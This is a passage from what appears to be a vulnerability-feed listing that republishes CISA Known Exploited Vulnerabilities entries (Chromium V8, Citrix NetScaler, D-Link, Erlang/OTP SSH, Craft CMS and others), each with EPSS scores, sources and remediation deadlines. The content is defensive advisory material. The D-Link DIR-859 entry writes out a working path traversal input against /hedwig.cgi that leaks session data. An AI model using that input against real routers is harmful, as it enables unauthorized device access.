CISA KEV entry CVE-2016-10033: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-10033&date=2026-10-25
CISA added this entry on 2025-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 7, 2025; federal due date Jul 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Multi-Router Looking Glass (MRLG) Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2014-3931
Multi-Router Looking Glass (MRLG) Buffer Overflow Vulnerability (Jul 7, 2025).
Multi-Router Looking Glass (MRLG) contains a buffer overflow vulnerability that could allow remote attackers to cause an arbitrary memory write and memory corruption.
EPSS 29.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-3931&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-3931: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-3931&date=2026-10-25
CISA added this entry on 2025-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 7, 2025; federal due date Jul 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Type Confusion Vulnerability
https://kevwire.com/record/CVE-2025-6554
Google Chromium V8 Type Confusion Vulnerability (Jul 2, 2025).
Google Chromium V8 contains a type confusion vulnerability that could allow a remote attacker to perform arbitrary read/write via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 14.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-6554&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-6554: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-6554&date=2026-10-25
CISA added this entry on 2025-07-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 2, 2025; federal due date Jul 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### TeleMessage TM SGNL Exposure of Core Dump File to an Unauthorized Control Sphere Vulnerability
https://kevwire.com/record/CVE-2025-48928
TeleMessage TM SGNL Exposure of Core Dump File to an Unauthorized Control Sphere Vulnerability (Jul 1, 2025).
TeleMessage TM SGNL contains an exposure of core dump file to an unauthorized control sphere Vulnerability. This vulnerability is based on a JSP application in which the heap content is roughly equivalent to a "core dump" in which a password previously sent over HTTP would be included in this dump.
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-48928&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-48928: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-48928&date=2026-10-25
CISA added this entry on 2025-07-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 1, 2025; federal due date Jul 22, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### TeleMessage TM SGNL Initialization of a Resource with an Insecure Default Vulnerability
https://kevwire.com/record/CVE-2025-48927
TeleMessage TM SGNL Initialization of a Resource with an Insecure Default Vulnerability (Jul 1, 2025).
TeleMessage TM SGNL contains an initialization of a resource with an insecure default vulnerability. This vulnerability relies on how the Spring Boot Actuator is configured with an exposed heap dump endpoint at a /heapdump URI.
EPSS 11.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-48927&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-48927: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-48927&date=2026-10-25
CISA added this entry on 2025-07-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 1, 2025; federal due date Jul 22, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix NetScaler ADC and Gateway Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2025-6543
Citrix NetScaler ADC and Gateway Buffer Overflow Vulnerability (Jun 30, 2025).
Citrix NetScaler ADC and Gateway contain a buffer overflow vulnerability leading to unintended control flow and Denial of Service. NetScaler must be configured as Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server.
EPSS 10.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-6543&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-6543: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-6543&date=2026-10-25
CISA added this entry on 2025-06-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 30, 2025; federal due date Jul 21, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiOS Use of Hard-Coded Credentials Vulnerability
https://kevwire.com/record/CVE-2019-6693
Fortinet FortiOS Use of Hard-Coded Credentials Vulnerability (Jun 25, 2025).
Fortinet FortiOS contains a use of hard-coded credentials vulnerability that could allow an attacker to cipher sensitive data in FortiOS configuration backup file via knowledge of the hard-coded key.
EPSS 6.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-6693&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-6693: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-6693&date=2026-10-25
CISA added this entry on 2025-06-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 25, 2025; federal due date Jul 16, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link DIR-859 Router Path Traversal Vulnerability
https://kevwire.com/record/CVE-2024-0769
D-Link DIR-859 Router Path Traversal Vulnerability (Jun 25, 2025).
D-Link DIR-859 routers contain a path traversal vulnerability in the file /hedwig.cgi of the component HTTP POST Request Handler. Manipulation of the argument service with the input ../../../../htdocs/webinc/getcfg/DHCPS6.BRIDGE-1.xml allows for the leakage of session data potentially enabling privilege escalation and unauthorized control of the device. This vulnerability affects legacy D-Link products. All associated hardware revisions have reached their end-of-life (EOL) or end-of-service (EOS) life cycle and should be retired and replaced per vendor instructions.
EPSS 82.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-0769&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-0769: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-0769&date=2026-10-25
CISA added this entry on 2025-06-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 25, 2025; federal due date Jul 16, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### AMI MegaRAC SPx Authentication Bypass by Spoofing Vulnerability
https://kevwire.com/record/CVE-2024-54085
AMI MegaRAC SPx Authentication Bypass by Spoofing Vulnerability (Jun 25, 2025).
AMI MegaRAC SPx contains an authentication bypass by spoofing vulnerability in the Redfish Host Interface. A successful exploitation of this vulnerability may lead to a loss of confidentiality, integrity, and/or availability.
EPSS 60.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-54085&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-54085: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-54085&date=2026-10-25
CISA added this entry on 2025-06-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 25, 2025; federal due date Jul 16, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Improper Ownership Management Vulnerability
https://kevwire.com/record/CVE-2023-0386
Linux Kernel Improper Ownership Management Vulnerability (Jun 17, 2025).
Linux Kernel contains an improper ownership management vulnerability, where unauthorized access to the execution of the setuid file with capabilities was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount. This uid mapping bug allows a local user to escalate their privileges on the system.
EPSS 7.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-0386&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-0386: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-0386&date=2026-10-25
CISA added this entry on 2025-06-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 17, 2025; federal due date Jul 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### TP-Link Multiple Routers Command Injection Vulnerability
https://kevwire.com/record/CVE-2023-33538
TP-Link Multiple Routers Command Injection Vulnerability (Jun 16, 2025).
TP-Link TL-WR940N V2/V4, TL-WR841N V8/V10, and TL-WR740N V1/V2 contain a command injection vulnerability via the component /userRpm/WlanNetworkRpm. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
EPSS 41.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-33538&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-33538: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-33538&date=2026-10-25
CISA added this entry on 2025-06-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 16, 2025; federal due date Jul 7, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Unspecified Vulnerability
https://kevwire.com/record/CVE-2025-43200
Apple Multiple Products Unspecified Vulnerability (Jun 16, 2025).
Apple iOS, iPadOS, macOS, watchOS, and visionOS, contain an unspecified vulnerability when processing a maliciously crafted photo or video shared via an iCloud Link.
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-43200&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-43200: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-43200&date=2026-10-25
CISA added this entry on 2025-06-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 16, 2025; federal due date Jul 7, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows External Control of File Name or Path Vulnerability
https://kevwire.com/record/CVE-2025-33053
Microsoft Windows External Control of File Name or Path Vulnerability (Jun 10, 2025).
Microsoft Windows contains an external control of file name or path vulnerability that could allow an attacker to execute code from a remote WebDAV location specified by the WorkingDirectory attribute of Internet Shortcut files.
EPSS 87.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-33053&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-33053: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-33053&date=2026-10-25
CISA added this entry on 2025-06-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 10, 2025; federal due date Jul 1, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Wazuh Server Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2025-24016
Wazuh Server Deserialization of Untrusted Data Vulnerability (Jun 10, 2025).
Wazuh contains a deserialization of untrusted data vulnerability that allows for remote code execution on Wazuh servers.
EPSS 93.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24016&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-24016: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24016&date=2026-10-25
CISA added this entry on 2025-06-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 10, 2025; federal due date Jul 1, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### RoundCube Webmail Cross-Site Scripting Vulnerability
https://kevwire.com/record/CVE-2024-42009
RoundCube Webmail Cross-Site Scripting Vulnerability (Jun 9, 2025).
RoundCube Webmail contains a cross-site scripting vulnerability. This vulnerability could allow a remote attacker to steal and send emails of a victim via a crafted e-mail message that abuses a Desanitization issue in message_body() in program/actions/mail/show.php.
EPSS 82.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-42009&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-42009: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-42009&date=2026-10-25
CISA added this entry on 2025-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 9, 2025; federal due date Jun 30, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Erlang Erlang/OTP SSH Server Missing Authentication for Critical Function Vulnerability
https://kevwire.com/record/CVE-2025-32433
Erlang Erlang/OTP SSH Server Missing Authentication for Critical Function Vulnerability (Jun 9, 2025).
Erlang Erlang/OTP SSH server contains a missing authentication for critical function vulnerability. This could allow an attacker to execute arbitrary commands without valid credentials, potentially leading to unauthenticated remote code execution (RCE). By exploiting a flaw in how SSH protocol messages are handled, a malicious actor could gain unauthorized access to affected systems. This vulnerability could affect various products that implement Erlang/OTP SSH server, including—but not limited to—Cisco, NetApp, and SUSE.
EPSS 98.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-32433&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-32433: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-32433&date=2026-10-25
CISA added this entry on 2025-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 9, 2025; federal due date Jun 30, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Out-of-Bounds Read and Write Vulnerability
https://kevwire.com/record/CVE-2025-5419
Google Chromium V8 Out-of-Bounds Read and Write Vulnerability (Jun 5, 2025).
Google Chromium V8 contains an out-of-bounds read and write vulnerability that could allow a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 7.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-5419&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-5419: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-5419&date=2026-10-25
CISA added this entry on 2025-06-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 5, 2025; federal due date Jun 26, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Qualcomm Multiple Chipsets Incorrect Authorization Vulnerability
https://kevwire.com/record/CVE-2025-21479
Qualcomm Multiple Chipsets Incorrect Authorization Vulnerability (Jun 3, 2025).
Multiple Qualcomm chipsets contain an incorrect authorization vulnerability. This vulnerability allows for memory corruption due to unauthorized command execution in GPU micronode while executing specific sequence of commands.
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-21479&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-21479: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-21479&date=2026-10-25
CISA added this entry on 2025-06-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 3, 2025; federal due date Jun 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Qualcomm Multiple Chipsets Incorrect Authorization Vulnerability
https://kevwire.com/record/CVE-2025-21480
Qualcomm Multiple Chipsets Incorrect Authorization Vulnerability (Jun 3, 2025).
Multiple Qualcomm chipsets contain an incorrect authorization vulnerability. This vulnerability allows for memory corruption due to unauthorized command execution in GPU micronode while executing specific sequence of commands.
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-21480&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-21480: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-21480&date=2026-10-25
CISA added this entry on 2025-06-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 3, 2025; federal due date Jun 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Qualcomm Multiple Chipsets Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2025-27038
Qualcomm Multiple Chipsets Use-After-Free Vulnerability (Jun 3, 2025).
Multiple Qualcomm chipsets contain a use-after-free vulnerability. This vulnerability allows for memory corruption while rendering graphics using Adreno GPU drivers in Chrome.
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-27038&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-27038: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-27038&date=2026-10-25
CISA added this entry on 2025-06-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 3, 2025; federal due date Jun 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ASUS Routers Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2021-32030
ASUS Routers Improper Authentication Vulnerability (Jun 2, 2025).
ASUS Lyra Mini and ASUS GT-AC2900 devices contain an improper authentication vulnerability that allows an attacker to gain unauthorized access to the administrative interface. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
EPSS 99.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-32030&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-32030: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-32030&date=2026-10-25
CISA added this entry on 2025-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 2, 2025; federal due date Jun 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ConnectWise ScreenConnect Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2025-3935
ConnectWise ScreenConnect Improper Authentication Vulnerability (Jun 2, 2025).
ConnectWise ScreenConnect contains an improper authentication vulnerability. This vulnerability could allow a ViewState code injection attack, which could allow remote code execution if machine keys are compromised.
EPSS 3.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-3935&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-3935: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-3935&date=2026-10-25
CISA added this entry on 2025-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 2, 2025; federal due date Jun 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Craft CMS External Control of Assumed-Immutable Web Parameter Vulnerability
https://kevwire.com/record/CVE-2025-35939
Craft CMS External Control of Assumed-Immutable Web Parameter Vulnerability (Jun 2, 2025).
Craft CMS contains an external control of assumed-immutable web parameter vulnerability. This vulnerability could allow an unauthenticated client to introduce arbitrary values, such as PHP code, to a known local file location on the server. This vulnerability could be chained with CVE-2024-58136 as represented by CVE-2025-32432.
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-35939&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-35939: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-35939&date=2026-10-25
CISA added this entry on 2025-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 2, 2025; federal due date Jun 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Craft CMS Code Injection Vulnerability
https://kevwire.com/record/CVE-2024-56145
Craft CMS Code Injection Vulnerability (Jun 2, 2025).
Craft CMS contains a code injection vulnerability. Users with affected versions are vulnerable to remote code execution if their php.ini configuration has `register_argc_argv` enabled.
EPSS 97.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-56145&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-56145: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-56145&date=2026-10-25
